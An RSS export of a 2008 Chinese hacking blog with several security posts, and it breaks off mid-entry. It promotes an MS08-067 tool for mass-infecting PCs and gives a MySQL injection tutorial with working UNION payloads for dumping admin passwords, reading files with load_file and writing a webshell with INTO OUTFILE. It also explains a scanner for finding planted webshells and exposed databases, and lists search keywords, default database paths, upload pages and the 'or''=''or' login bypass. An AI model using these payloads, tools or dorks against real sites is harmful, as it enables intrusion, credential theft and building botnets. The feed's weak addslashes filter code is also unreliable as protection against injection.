<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[空城's Blog]]></title> 
<link>http://blog.520.at/index.php</link> 
<description><![CDATA[什么是爱情?]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[空城's Blog]]></copyright>
<item>
<link>http://blog.520.at/post/428/</link>
<title><![CDATA[狼牙全自动MS08-067抓鸡器]]></title> 
<author>空城 &lt;nanown@qq.com&gt;</author>
<category><![CDATA[网络安全]]></category>
<pubDate>Wed, 05 Nov 2008 14:12:01 +0000</pubDate> 
<guid>http://blog.520.at/post/428/</guid> 
<description>
<![CDATA[ 
	最近一段时间，为了避免下载微软的黑屏补丁，许多网友关闭了系统自动更新，从而正好成为抓鸡的大好时机，狼牙全自动MS08-067抓鸡器一天可能上W只肉鸡，非常强悍，看了甲壳虫技术小组越来越快了.<br/><br/>下载地址<br/>http://bbs.jksing.com/viewthread.php?tid=28910
]]>
</description>
</item><item>
<link>http://blog.520.at/post/426/</link>
<title><![CDATA[看图就中招！微软爆出史上最大安全漏洞]]></title> 
<author>空城 &lt;nanown@qq.com&gt;</author>
<category><![CDATA[网络安全]]></category>
<pubDate>Tue, 04 Nov 2008 08:00:04 +0000</pubDate> 
<guid>http://blog.520.at/post/426/</guid> 
<description>
<![CDATA[ 
	　　近日，微软爆出有史以来最大的安全漏洞。通过该漏洞，攻击者可以将木马藏于图片中，网民无论是通过浏览器浏览、还是用各种看图软件打开、或者在即时聊天窗口、电子邮件、Office文档里查看这些图片，只要看了就会中招！哪怕只是看了一个QQ表情！其危害程度远远超过以往微软公布过的任何安全漏洞。<br/><br/>　　针对这一突发情况，奇虎360迅速组织力量进行研发，在第一时间独家推出了完整的解决方案，能够同时修补windows系统和第三方软件中存在的漏洞。为此奇虎360紧急呼吁，请广大网民立即下载安装微软GDI+图片漏洞360专用补丁包（下载地址：http://dl.360safe.com/360gdi_fix.exe），并同时使用360安全卫士给您的系统打补丁，以确保您的电脑能够尽快远离木马威胁。<br/><br/>　　据奇虎360安全专家介绍，此次微软爆出的GDI+图片漏洞非常严重，有点类似以前的“光标漏洞”和“wmf漏洞”，但涉及的图片格式更多，包括bmp、wmf、gif、emf、vml等，因此漏洞涉及面广，影响网民数众多，危害程度特别巨大，堪称“微软有史以来最大的安全漏洞”。<br/><br/>　　受此漏洞影响，几乎所有浏览器、即时聊天工具、Office程序以及看图软件等第三方软件都可能成为木马传播的渠道。网民即便没有点击运行任何程序，只要浏览了BBS、博客、电子邮件或即时聊天窗口里带木马的图片，就会立即中招。一旦网民查看了这些带木马的图片，或浏览了带木马图片的网站，攻击者就能利用这一GDI+图片漏洞远程执行代码和安装程序，随意查看、更改或删除用户的电脑数据，或者创建能完全访问用户电脑的新帐户。也就是说，攻击者可以利用该漏洞完全控制住你的电脑！<br/><br/>　　奇虎360安全专家表示，该漏洞影响范围不但包括IE浏览器、Office软件以及windows自带的图片浏览工具，还波及了目前几乎所有能查看、展示主要图片格式的第三方软件，包括主流聊天工具、浏览器（除了360安全浏览器的超强安全模式）、看图软件和视频播放软件。<br/><br/>　　奇虎360特别提醒广大网民，一定要养成定期打补丁的好习惯！在木马泛滥的今天，只有经常使用360安全卫士给自己的系统打补丁，彻底摒弃“事后查杀”的侥幸心理，才能真正防患于未然，最大程度地确保您的电脑安全。<br/><br/>微软GDI+图片漏洞360专用补丁包下载地址：<br/>http://dl.360safe.com/360gdi_fix.exe<br/><br/>如果您希望了解更多关于微软GDI+图片漏洞的信息，请点击：<br/>http://baike.360.cn/4012610/11622730.html<br/><br/>下载最新版360安全卫士有助于及时发现安全漏洞并进行修复，立即下载：<br/>http://dl.360safe.com/p/360safe_baike01.exe<br/><br/>Tags - <a href="http://blog.520.at/tags/%25E5%25BE%25AE%25E8%25BD%25AF/" rel="tag">微软</a> , <a href="http://blog.520.at/tags/%25E6%25BC%258F%25E6%25B4%259E/" rel="tag">漏洞</a>
]]>
</description>
</item><item>
<link>http://blog.520.at/post/407/</link>
<title><![CDATA[保护代码安全，PHP如何进行注入]]></title> 
<author>空城 &lt;nanown@qq.com&gt;</author>
<category><![CDATA[网络安全]]></category>
<pubDate>Wed, 29 Oct 2008 02:42:16 +0000</pubDate> 
<guid>http://blog.520.at/post/407/</guid> 
<description>
<![CDATA[ 
	我们主要是从两点出发，因为我们的获取的变量一般都是通过GET或者POST方式提交过来的，那么我们只要对GET和POST过来的变量进行过滤，那么就能够达到防止注入的效果。而且我们的PHP真是非常好，已经内置了$_GET和$_POST两个数组来存储所有变量，我们要做的工作就是过滤每个变量就可以了。 <br/><br/>下面看具体的代码： <br/>/* <br/>PHP开发资源网 = 全球最大的PHP中文社群 = PHPer的网上家园 <br/>*/ <br/>/* Author: heiyeluren */ <br/>/* 过滤所有GET过来变量 */ <br/>foreach ($_GET as $get_key=%26gt;$get_var) <br/>&#123; <br/>if (is_numeric($get_var)) <br/>if (is_numeric($get_var)) &#123; <br/>$get[strtolower($get_key)] = get_int($get_var); <br/>&#125; else &#123; <br/>$get[strtolower($get_key)] = get_str($get_var); <br/>&#125; <br/>&#125; <br/><br/>/* 过滤所有POST过来的变量 */ <br/>foreach ($_POST as $post_key=%26gt;$post_var) <br/>&#123; <br/>if (is_numeric($post_var)) &#123; <br/>$post[strtolower($post_key)] = get_int($post_var); <br/>&#125; else &#123; <br/>$post[strtolower($post_key)] = get_str($post_var); <br/>&#125; <br/>&#125; <br/><br/>/* 过滤函数 */ <br/>//整型过滤函数 <br/>function get_int($number) <br/>&#123; <br/>return intval($number); <br/>&#125; <br/>//字符串型过滤函数 <br/>function get_str($string) <br/>&#123; <br/>if (!get_magic_quotes_gpc()) &#123; <br/>return addslashes($string); <br/>&#125; <br/>return $string; <br/>&#125; <br/><br/>那么我们把以上代码放到一个公共的文件里，比如security.inc.php里面，每个文件里都include一下这个文件，那么就能够给任何一个程序进行提交的所有变量进行过滤了，就达到了我们一劳永逸的效果。 <br/><br/>另外，还有一些其他的过滤方法，比如采用我以前使用的关键字过滤的方法：http://dev.csdn.net/article/71/71475.shtm <br/>还可以参考三尺寒冰写的方法：http://www.fanghei.com/html/2005-06/20050607114008.htm <br/><br/>方法是不同的，但是核心就是为了我们的代码更加安全。 <br/><br/>Tags - <a href="http://blog.520.at/tags/php/" rel="tag">php</a> , <a href="http://blog.520.at/tags/%25E6%25B3%25A8%25E5%2585%25A5/" rel="tag">注入</a>
]]>
</description>
</item><item>
<link>http://blog.520.at/post/406/</link>
<title><![CDATA[MYSQL 注射精华]]></title> 
<author>空城 &lt;nanown@qq.com&gt;</author>
<category><![CDATA[网络安全]]></category>
<pubDate>Wed, 29 Oct 2008 02:40:13 +0000</pubDate> 
<guid>http://blog.520.at/post/406/</guid> 
<description>
<![CDATA[ 
	<br/><div class="code">MYSQL 注射精华<br/><br/>前言<br/>鄙人今天心血来潮突然想写篇文章,鄙人从来没写过文章,如果有错误的地方请多多指教.本文需要有基础的SQL语句知识才可以更好的理解.建议想学习的人多去了解一下SQL语句和编程语言,知己知彼才能百战百胜.<br/>&nbsp;&nbsp;&nbsp;&nbsp;我不希翼得到读者您的好评,尽管我尽力了;只希望本文能解决您学习过程的障碍,希望您早日掌握有关MYSQL注入方面的知识.<br/><br/><br/>1.MYSQL 注射的产生.<br/>&nbsp;&nbsp;&nbsp;&nbsp;漏洞产生原因 : 程序执行中未对敏感字符进行过滤,使得攻击者传入恶意字符串与结构化数据查询语句合并,并且执行恶意代码.<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;咱们先创造一个没有过滤的程序. 因为我机器上没有PHP,所以我就是用 JAVA了,我会详细注释.<br/><br/>代码<br/>数据库:<br/><br/>create database if not exists `test`;<br/><br/>USE `test`;<br/><br/>/*数据表 `account` 的表结构*/<br/><br/>DROP TABLE IF EXISTS `account`;<br/><br/>CREATE TABLE `account` (<br/>&nbsp;&nbsp;`accountId` bigint(20) NOT NULL auto_increment,<br/>&nbsp;&nbsp;`accountName` varchar(32) default NULL,<br/>&nbsp;&nbsp;`accountPass` varchar(32) default NULL,<br/>&nbsp;&nbsp;PRIMARY KEY&nbsp;&nbsp;(`accountId`)<br/>) ENGINE=InnoDB DEFAULT CHARSET=latin1;<br/><br/>/*数据表 `account` 的数据*/<br/><br/>insert into `account` values&nbsp;&nbsp;<br/>(1,&#039;account1&#039;,&#039;account1&#039;);<br/><br/>/*数据表 `admin` 的表结构*/<br/><br/>DROP TABLE IF EXISTS `admin`;<br/><br/>CREATE TABLE `admin` (<br/>&nbsp;&nbsp;`adminId` bigint(20) NOT NULL auto_increment,<br/>&nbsp;&nbsp;`adminName` varchar(32) default NULL,<br/>&nbsp;&nbsp;`adminPass` varchar(32) default NULL,<br/>&nbsp;&nbsp;PRIMARY KEY&nbsp;&nbsp;(`adminId`)<br/>) ENGINE=InnoDB DEFAULT CHARSET=latin1;<br/><br/>/*数据表 `admin` 的数据*/<br/><br/>insert into `admin` values&nbsp;&nbsp;<br/>(1,&#039;admin&#039;,&#039;admin&#039;);<br/><br/>:<br/>程序:<br/><br/><br/><br/>&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;<br/><br/><br/>2.漏洞的利用<br/><br/>(图1)<br/>这个就是数据库里的记录了.以后黄色为关键语句,红色为输入的部分.<br/>&nbsp;&nbsp;&nbsp;&nbsp;大家注意看resultSet = statment.executeQuery(&quot;select * from account where accountId = &#039;&quot;+ request.getParameter(&quot;id&quot;) +&quot;&#039;&quot;);<br/>这里的request.getParameter(&quot;id&quot;) 是获取GET传参的id 参数,也就是mysqlInject.jsp?id=1 这里的id. 这样这个SQL语句就变成了select * from account where accountId = &#039;1&#039; 了.如果加以变换呢?<br/><br/>2.1漏洞的检测<br/>我们把id 写成mysqlInject.jsp?id=1&#039; 那么SQL 语句就变成select * from account where accountId = &#039;1&#039;&#039; 了,这样的话SQL语句就会报错,因为SQL语句的值是需要2个包含符号,比如’和”如果只是数字可以什么都不写.如果不报错的话就说明程序替换,过滤或者其他方法来防护了.<br/><br/><br/><br/>那么我们可以继续来测验, mysqlInject.jsp?id=1&#039; and &#039;&#039;=&#039; 那么SQL语句就变成了select * from account where accountId = &#039;1&#039; and &#039;&#039; = &#039;&#039; ,应该返回正常.<br/><br/><br/>有些人说我的为什么返回不正常呢? 有2种原因,第一是程序把恶意字符过滤了;第二是程序的语句和我写的不一样select * from account where accountId = 1&#039; and &#039;&#039;=&#039;. 这个问题在下边会谈到.<br/><br/><br/>2.2 Union查询猜此次查询列的数量<br/>&nbsp;&nbsp;&nbsp;&nbsp;这里有的人会说猜此次查询列的数量有什么用?如果只是检测当然没有,但是你想进一步的利用那么就有大的用处了,文章后边会讲到的,耐心.<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;如果懂SQL的人应该知道UNION查询吧?UNION查询就是联合查询,执行第二条查询语句将返回值和本次查询合并.<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;大家想想,如果要和本次查询值合并需要一个什么条件呢？需要联合查询的列数和此次查询的列数相等.如果不想等的话就会无法合并,那么就会报错.通过这一特点聪明的你应该会想出这么才列数了吧?<br/><br/>那么我们要的就是使得UNION查询出来的列数与本次查询出来的列数相等.也就是说不报错就会相等.<br/>先从第一列开始猜,那么要把这个语句union select 1构造在地址程序的语句当中.<br/>那么语句就是mysqlInject.jsp?id=1&#039; and union select 1 and &#039;&#039;=&#039; 这样的.<br/>有些人问为什么后边(绿色的部分)要加上and &#039;&#039;=&#039; 呢? 也许大家记了吧,我们的SQL语句是需要两个包含符号的,语句select * from account where accountId = &#039;1&#039; 我们输入的是在1那个位置,所以要去除后边的&#039;,否则语句会报错的.<br/>在本程序里也就是&#039; 如果你要想消除&#039; 有很多办法,为了让大家明白所以我现在使用and &#039;&#039;=&#039;.<br/>先说一说有几种办法消除这个&#039;<br/>1.&nbsp;&nbsp;&nbsp;&nbsp;使用 and &#039;&#039; = &#039; 虽然不够方便,但是在复杂SQL语句里不会报错的.<br/>2.&nbsp;&nbsp;&nbsp;&nbsp;使用注释 # 或者 /**/, 这样可以把后面的东西全部注释掉,但是有一个大问题,就是在执行复杂SQL语句的时候有可能会报错.<br/>有些人测试,咦?为什么我加了#还是会报错呢?因为本次是使用GET传参,在地址栏传参.大家想想,当初下载带#名称的数据库是什么样子呢?哦,对了,#是地址栏的结束符,就是说#包括#以后的字符全部不传入.所以#在GET模式下注入注入不起作用.<br/><br/>那么有些工具写的在构造注射的时候为什么是mysqlInject.jsp?id=1&#039;/**/and/**/union/**/select/**/1/**/and/**/&#039;&#039;/**/= /**/&#039;/* 呢? 因为在程序里边有函数可以把传入参数里面的空格去除,如果去除了空格,将会是程序产生了错误的语句,那么就会一直报错了.所以有些工具就是用/**/这种东西来取代空格了.<br/><br/>那 /**/ 又是什么呢? /**/ 是一种注释,叫做文档注释,就是从/* 开始直到*/ 结束,中间任何代码都会成为注释,所以是程序员在写大量注释时候所使用的一种注释.<br/><br/>那最后的/* 是什么呢? 那个是用来解决 SQL语句 包含符号没有成双成对的.<br/><br/>我们开始测试.<br/>mysqlInject.jsp?id=1 &#039;/**/union/**/select/**/1/*<br/>select * from account where accountId = &#039;1 &#039;/**/union/**/select/**/1/*&#039;.<br/><br/><br/>注意到最低下那句话了吗?<br/>javax.servlet.ServletException: The used SELECT statements have a different number of columns<br/>大概意思是”这个使用的查询列数不同”,由此得出此次查询不是查询了一个表.<br/><br/>以此类推, select 1&nbsp;&nbsp; select 1,2&nbsp;&nbsp; select 1,2,3&nbsp;&nbsp;知道正确位置,那么你现在说写的列数也就是本次查询的列数了.<br/><br/><br/>大家看到地下返回 1&#124;2&#124;3&#124; ,这个值是从咱们的UNION查询里合并出来的. 试试把UNION SELECT 1,2,3 换成 UNION SELECT 4,5,6 看看.地下是不是编程了 4&#124;5&#124;6&#124; 了?<br/><br/><br/>有人说 你都是骗人的 我怎么换,我都换到789了也没有出来,还是现实原来的数据,你骗人;我没有骗人,我也不会骗人;那为什么出不来?<br/>有些程序写的时候只是把数据返回集合的第一行输出,但是UNION查询以后是把数据合并到此次查询以后,那么他只输出了此次查询的数据,其实UNION查询的数据也有,但是他没有输出.那怎么办呢?聪明的人一定会想到. 啊,原来如此,只要让此次查询不输出就可以了.哈哈哈,我聪明了,可是怎么让此次查询不输出呢? 先告诉大家一个简单的方法,看看SQL语句,我们是做过限制条件的. Where accountid = ? ,那么也就是说让这个accoundId 限制到一个没有的id 上那么不就会没有了? 心动不如行动,试试.<br/>mysqlInject.jsp?id=1000&#039;/**/union/**/select/**/4,5,6/*<br/>select * from account where accountId =1000&#039;/**/union/**/select/**/4,5,6/* <br/><br/>哈哈,果然没有了!!! 注意绿色的部分,指定查询一个没有的id ,那么他理所当然的就会蒸发了.<br/>2.3 低几率另类猜此次查询列的数量<br/>&nbsp;&nbsp;&nbsp;&nbsp;此方法虽然几率低一点,但是会大大减少工作量的.次方法只适用于 select * 的简易SQL语句.<br/>&nbsp;&nbsp;&nbsp;&nbsp;这个方法是用的是 mysql 里的 order 排序. 排序是按照顺序排下来.我们来写一条SQL语句. Select * from account where accountId = &#039;1&#039; order by accountId 那么这个SQL语句也就是根据 accountId 升序排序. 那么我们不知道他有什么怎么办,而且这怎么猜? 这里是关键问题. MYSQL支持列编号排序Select * from account where accountId = &#039;1&#039; order by 1 这样也就是按照第一列排序. <br/>哎呀,你又在骗我们,排序怎么猜列的数量? 那么我按照一个不存在的列排序呢? 比如第四列? 你一般身上有3个口袋,一个最多10元钱,一天吃一顿,一顿3斤米,一斤米一元,但是你今天吃了4斤米,需要40元,你却只有3个口袋,你就没有40元,你就要挨打了.<br/>也就是说一共有3个列,order by 3 ,按照第3列排序,正常,order by 4,按照第4列排序,没有第4列,出错.那么也就说明他有4列.<br/>这种方法是根据人的经验判断的.我一般使用这个方法都会成功,就是不成功也相差不多.<br/><br/>2.4 使用UNION猜其他表,查询其他表<br/>使用此方法可以查询到其他表里的内容.比如查询管理员的密码等.但是有个前题,必须道要才表的表名和列名. 那怎么才能知道呢? 猜!!! 因为MYSQL 和SQLSERVER 的系统函数不一样,SQLSERVER 里有 SP_HELPDB 而MYSQL 里没有,所以只能猜了.<br/>好,开始构造语句. 我们要猜看看有没有admin表.<br/>mysqlInject.jsp?id=1&#039;/**/union/**/select/**/4,5,6/**/from/**/admin/*<br/>SQL : select * from account where accountId = &#039;1&#039;/**/union/**/select/**/4,5,6/**/from/**/admin/*&#039;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;如果正常的有admin表的话,那么返回是正常的,如果没有的话会报错的.<br/><br/><br/>大家看到了吧? 有admin 这个表,为了让大家更好的理解,我们在猜一个其他不存在的表.<br/><br/>mysqlInject.jsp?id=1&#039;/**/union/**/select/**/4,5,6/**/from/**/helloword/*<br/>SQL : select * from account where accountId = &#039;1&#039;/**/union/**/select/**/4,5,6/**/from/**/ helloword/*&#039;<br/><br/><br/>看到了吧?没有 helloworld 这个表.所以报错了.<br/>&nbsp;&nbsp;&nbsp;&nbsp;又问,为什么还是会写4,5,6呢? 啊哈,因为我们不知道他的列名,如果写了 * 他将会全部列出来,如果和此次查询的列不相等,那么就会报错了.所以要写一个相等的.<br/>&nbsp;&nbsp;&nbsp;&nbsp;现在表名出来了,怎么才列名呢?哎呀,大家太聪明了,直接把4,5,6其中一个替换成列名不久行了? 那么构造出.<br/>mysqlInject.jsp?id=1&#039;/**/union/**/select/**/adminId,5,6/**/from/**/admin/*<br/>SQL : select * from account where accountId = &#039;1&#039;/**/union/**/select/**/adminid,5,6/**/from/**/admin/*&#039;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;看见了吗? 1&#124;5&#124;6 的一就是 adminid.如果正常那么就是存在了. 大家可以把列名猜出来,然后带入UNION查询中,这样就查出来管理员帐号或者密码了.现在我要把列名一次全部带入.<br/><br/>mysqlInject.jsp?id=1&#039;/**/union/**/select/**/adminId,adminName,adminPass/**/from/**/admin/*<br/>SQL : select * from account where accountId = &#039;1&#039;/**/union/**/select/**/adminid,adminName,adminPass/**/from/**/admin/*&#039;<br/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;哈哈,出来了, 1&#124;admin&#124;admin&#124; 就是 adminid&#124;adminName&#124;adminPass&#124;<br/>&nbsp;&nbsp;&nbsp;&nbsp;也可以在union 查询上限制条件,比如你知道有admin这个用户那么就构造 union select adminId,adminName,adminPass from admin where adminName = ‘admin’,看个人的发挥了.<br/>2.5&nbsp;&nbsp;&nbsp;&nbsp;使用MYSQL 系统函数.<br/>2.5.1.1.1&nbsp;&nbsp;&nbsp;&nbsp;使用 load_file() 函数 显示文件.<br/>&nbsp;&nbsp;Load_file 顾名思义.就是加载文件,可不是运行啊,是显示内容,但是必须对文件拥有读取权限.我们先来构造一个显示 c:&#92;boot.ini 文件的语句.<br/>mysqlInject.jsp?id=1&#039;/**/union/**/select/**/1,load_file(0x633A5C626F6F742E696E69),3/*<br/>&nbsp;&nbsp;&nbsp;&nbsp;SQL : select * from account where accountId = &#039;1&#039;/**/union/**/select/**/1, load_file(0x633A5C626F6F742E696E69),3/*&#039;<br/>&nbsp;&nbsp;&nbsp;&nbsp; <br/>&nbsp;&nbsp;看到了吗? C:&#92;boot.ini 文件的内容. 又问,为什么load_file() 里面是乱码呢? 那不是乱码,那个是C:&#92;boot.ini 16进制编码. 因为本函数无法处理直接写的路径,只能能使用16进制或者是 Ascii 编码.所以要将路径转换成 16进制或者是Ascii 编码才可以执行.<br/>&nbsp;&nbsp;又问,为什么load_file 是在第二列的位置上,不是在第一列或者第三列的位置上呢?因为啊,第一列不行,其他的都可以,第一列是一个 INT类型,一个数字类型,难道你会把你女朋友送进男厕所吗? 呵呵.玩笑.如果是在 linux 下可以使用 / 来列目录 ,但是必须有列目录的权限.<br/>&nbsp;&nbsp;通过load_file 可以列目录,读文件,但是遇到文件格式编码的时候也许会遇到乱码的问题. 这个问题可以这么解决. 使用 subString 函数, subString(字符串,开始,返回).<br/>&nbsp;&nbsp;假设我们要返回第三个字符,那么就是mysqlInject.jsp?id=1&#039;/**/union/**/select/**/1,substring(load_file(0x633A5C626F6F742E696E69),3,1) ,3/* 这样我们就返回了第三个字符,用于解决乱码是非常好的办法.<br/>&nbsp;&nbsp;我近期会做一个这样个工具,将会公布在我的个人主页上.<br/>2.5.1.1.2&nbsp;&nbsp;&nbsp;&nbsp;使用outfile 写WEBSHELL.<br/>&nbsp;&nbsp;mysql 有一个功能,就是把查询的结果输出.就是outfile.先来构造一个简单的语句.<br/>&nbsp;&nbsp;select ‘hello word’ into outfile ‘c:&#92;&#92;a.txt’ 这里是讲 ‘hello word’ 输出到 c:&#92;a.txt<br/>那么在网站也来构造一下.<br/>mysqlInject.jsp?id=1&#039;/**/union/**/select/**/1,&#039;hello&#039;,3/**/into/**/outfile/**/&#039;c:&#92;&#92;hello.txt&#039;/*<br/>&nbsp;&nbsp;&nbsp;&nbsp;SQL : select * from account where accountId = &#039;1&#039;/**/union/**/select/**/1, &#039;hello&#039;,3/**/into/**/outfile/**/’c:&#92;&#92;hello.txt’/*&#039;<br/>&nbsp;&nbsp; 成功插入.但是为什么会报错呢?哦,那是因为你把数据写到文件中,返回集合什么都没有了,当然会报错了.如果你把hello 换成 一句话或者其他的,如果写入到网站目录下,那是多么恐怖啊…<br/><br/>2.漏洞的防护和总结<br/>&nbsp;&nbsp;通过过滤特殊关键字来防护.代码网站很多,我这里就不写了.<br/>&nbsp;&nbsp;针对JAVA有一种防护措施,就是使用PreparedStatement 对象进行查询,这里也不多说了.<br/><br/>&nbsp;&nbsp;本文只是一个概括的讲述,如果应用到实战当中需要结合经验.<br/><br/>&nbsp;&nbsp;如果有什么错误的地方可以和我说. msn:tsenable@msn.com&nbsp;&nbsp;我的主页tsenable.spaces.live.com 感谢大家 </div><br/>Tags - <a href="http://blog.520.at/tags/mysql/" rel="tag">mysql</a>
]]>
</description>
</item><item>
<link>http://blog.520.at/post/376/</link>
<title><![CDATA[推荐:挖掘鸡使用教程]]></title> 
<author>空城 &lt;nanown@qq.com&gt;</author>
<category><![CDATA[网络安全]]></category>
<pubDate>Sun, 06 Jul 2008 06:05:10 +0000</pubDate> 
<guid>http://blog.520.at/post/376/</guid> 
<description>
<![CDATA[ 
	文章来自:华夏黑客联盟 作者:冰封-黑盗ps <br/><br/>图片： <br/><br/>这是添加新分类!图片! <br/>写这个帖子的目的主要是介绍这款软件,自己也是刚刚接触,我也是菜鸟!所以就把我们菜鸟的使用方法简单介绍下,以后我们一块研究它的用途.用好它绝对会对我们有很大的帮助! <br/>挖掘鸡是干什么使的 <br/>　　一些黑客及黑客软件(包括网站管理员及管理员工具)会在网站生成特定路径(目录名+文件名)，这些路径往往有习惯性及默认性。这样的路径在网络中孤立无链接，通过搜索引擎很难直接搜索到。挖掘鸡就是针对这样的路径进行扫描来获取敏感信息或webshell等权限。 <br/>比如常见木马上传文件名：明小子旁注在网站/或/bbs/下默认上传diy.asp，内容为简单的上传shell，密码为空；再如常见qq密码信文件名：阿拉QQ大盗在网站/下默认上传tmdqq.asp，用于接收密码信并存到同路径的qq.txt中。 <br/>现在也许我们还不了解其实质!但是我们只要慢慢来用!一定会摸索到的! <br/>使用说明： <br/>挖掘鸡是否正常工作？： <br/>　　挖掘鸡使用其实很简单，不过因为有些后缀存在较少，长时间挖不到结果，导致大家对自己的使用方法产生怀疑。 <br/>　　这里提供验证挖掘鸡正常工作的方法：勾选index.asp后缀(列表中没有的话，可通过&#34;在线更新后缀&#34;功能获取或手工添加)，关键词可不填，点开始(≥)后数分钟内如果能挖到结果，就说明挖掘鸡正常工作中，唯一缺的就是耐心了和更多更有效的后缀了。如图 <br/><br/><br/>初级用法： <br/><br/>勾选想要挖的后缀(建议不要太多,1－2个就行),点开始(≥)即可(关键词留空的话程序会自动选择热门关键词)。这个不常用!一般都是自己添加后缀! <br/>中级用法： <br/><br/>后缀： <br/>1、怎么添加后缀？：右键选添加，在空白行上时自动添加新分类，在数据行上时自动添加新后缀。 <br/>2、后缀的各字段是什么含义？： <br/>文件名：diy.asp <br/>路径组：/,/bbs/ <br/>特征字串：绝对路径(包括文件名:如 <br/>上面这个后缀直接组合(文件名分别和路径组中美一个路径组合)并附加在目标域名http://xxx.com 后面，形成URL：http://xxx.com/diy.asp, http://xxx.com/bbs/diy.asp, 如果URL存在则进一步判断返回页面中是否存在特征字串“绝对路径(包括文件名:如”，如果包含(存在无密码上传webshell)则返回挖掘成果. <br/><br/>在这是添加的database/datashop.mdb 也就是默认数据库的位置,为以后拿后面的shell做准备!这是扫描结果!如图 <br/><br/><br/>关键词： <br/>1、如果想不到独特的关键词则不如留空，让挖掘鸡随机产生关键词。比如qq、免费空间等常见词大家都在扫，反而会限制挖掘范围，挖掘结果也会类似。尤其用肉鸡长时间大范围扫描的话，毕竟针对某关键词的页面是有限的，很快就会重复，建议留空。 <br/>2、扫SQLinj等基于文件名的后缀时(一般后缀是基于路径的)，关键词最好用前缀来限定一下，比如inurl:asp 关键词 (兼容baidu,google语法)，保证目标网址是http://xxx.com/xxx.asp?id=x 的形式，提高挖掘效率。 <br/><br/><br/>线程数： <br/>一般ADSL用户推荐20-50线程，挖掘时状态栏有扫每个链接的平均耗时，可以根据它来决定是否增加线程。(论坛有投票帖，大家可以针对自己的联网方式比较一下)。 <br/><br/>词频： <br/>关键词不为空时，词频建议取最小值(10)，这样结果页面相关度比较高； <br/>关键词为空时，建议不要取缺省值(20)，并且在保证自己取值独特性的基础上尽量取小,比如13。 <br/>高级用法： <br/><br/>1、不要用来扫QQ，扫QQ只是挖掘鸡最简单的一个应用。 <br/><br/>2、自己添加后缀的技巧： <br/>　　挖掘鸡的后缀有限，虽然能时常在线更新后缀，但是毕竟所有人都在扫(很多人扫到以后还会改名以独享扫描结果)，效率不是很高。自行添加后缀才能真正的让挖掘鸡为你服务。比如刚想到servu.asp时随便一个扫描结果就是一个3389肉鸡。 <br/>　　添加哪些后缀要看自己的想象力和对热门黑客及管理员的熟悉程度，主要靠自己相关知识的累积(从这个意义上来说，挖掘鸡绝不仅仅是菜鸟工具),唯一能说说的是特征字串的选择。 <br/><br/>3、特征字串的选择技巧： <br/>　　每个后缀都有一个叫特征字串的字段，它是从目标页面中截取出来的字符串片断(不区分大小写)，用于过滤其他无关的同名文件，比如扫qq.asp，不添加特征字串的话，会挖到很多qq在线克服的页面，而正常收qq信的qq.asp的内容是：Send OK!(通过察看页面源文件获得)，截取页面内容中独特的部分(同名路径中不会存在的)作为特征字串，就可以大大提高结果的准确性。不会选取的可以对照扫描结果看看挖掘鸡内置的后缀是怎么指定特征字串的。对于无法指定特征字串的后缀(比如rar、mdb等文件)，建议勾选高级选项中的忽略特征码列表(网页中包含列表中字串的扫描结果将被忽略，比如防盗链系统)，防止误报。 <br/>　　同一个后缀要指定多种特征字串时，用_&#124;_分割，表示或的关系。特征字串以/g等结束，代表使用正则表达式匹配。 <br/><br/>　　建议大家对相关的热门软件多试用多思考，发掘出属于自己的后缀(能共享更好)。(有不少人看qq.txt好扫就想当然添加qq.asp等(而且特征字串也不改)，这样没有软件依据的添加后缀，不会挖到很多结果的。) <br/>差不多就这些了!今天我扫的是database/dateshop.mdb,意思也就是网站有这个数据库路径的都会被挖掘鸡扫出来! <br/>我把扫描结果的随便有个是http://www.ajxd.com/datebase/dateshop.mdb这样的 <br/>好!我们可以把网址输入地址栏看看能不能下载,我试了是可以下载的如图 <br/><br/><br/>数据库我门都拿到了!可以干的事就很多了!我这速度很慢下载慢!要吃饭了饿!下次写的是用挖掘鸡通过这个方法拿webshell! 
]]>
</description>
</item><item>
<link>http://blog.520.at/post/375/</link>
<title><![CDATA[挖掘鸡]]></title> 
<author>空城 &lt;nanown@qq.com&gt;</author>
<category><![CDATA[网络安全]]></category>
<pubDate>Sun, 06 Jul 2008 06:04:04 +0000</pubDate> 
<guid>http://blog.520.at/post/375/</guid> 
<description>
<![CDATA[ 
	默认数据库: Databases/myszw.mdb Databases/myszw1.mdb <br/><br/>上传 upload_Photo.asp?PhotoUrlID=3 upload_Photo.asp?PhotoUrlID=1 <br/>---------------------------------------------------- <br/>关键字：网站建设公司企业网站管理系统 <br/>后缀： admin/login.asp <br/>--------------------------------------- <br/>关键字：网梦购物系统 gCS工具： 挖掘鸡 后缀：/admin/login.asp <br/>------------------------------------------------ <br/>上传后缀：upfile_photo.asp <br/><br/>upfile_softpic.asp <br/><br/>upfile_adpic.asp <br/>upfile.asp <br/>upfile_flash.asp <br/>upload.asp <br/>Upfile_Article.asp <br/>Upfile_AdPic.asp <br/>Upfile_OrderPic.asp <br/>Upfile_AdPia.asp <br/>Upfile_Articla.asp <br/>Upfile_Dialog.asp <br/>关键字：1。Power System Of Article Management Ver 3.0 Build 20030628. Powered by WEBBOY. ? <br/>2。Power System Of Article Management Ver 3.0 <br/>3。Power System Of Article Management. 2.0 Build Powered by Webboy <br/>4。Power System Of Article Management. 2.0 Build Powered by Butian <br/>5。Powered By ：SMT Version 5.0 <br/>Powered By ：SMT Version 5.1 <br/>------------------------------------------------------- <br/>一句话木马 <br/>GOOGLE里搜索关键字: <br/>上面的这个名字只是该留言者使用的昵称,不代表任何管理员身份! <br/>把index.asp换成 mdb/vcsbook.asp <br/>代码： <br/>--------------------------------------- <br/>关键子：inurl:Went.asp <br/>后缀：manage/login.asp <br/>密码：'or''=''or' <br/>============================ <br/>关键字：acblog <br/>blogdata/acblog.asa 默认数据库。 <br/>======================================= <br/>关键字:Copyright ? 2005-2008??Power <br/><br/>然后写入默认数据库：databass/datashop.asp <br/>在网址后面加上主页后面加上：linktianjia.asp <br/>申请连接输入一句话代码： <br/>或者点下面的管理入口 密码：'or'='or' <br/><br/>一句话连接的时候在网站后面加上：databass/datashop.asp <br/>======================================================== <br/>关键词 co 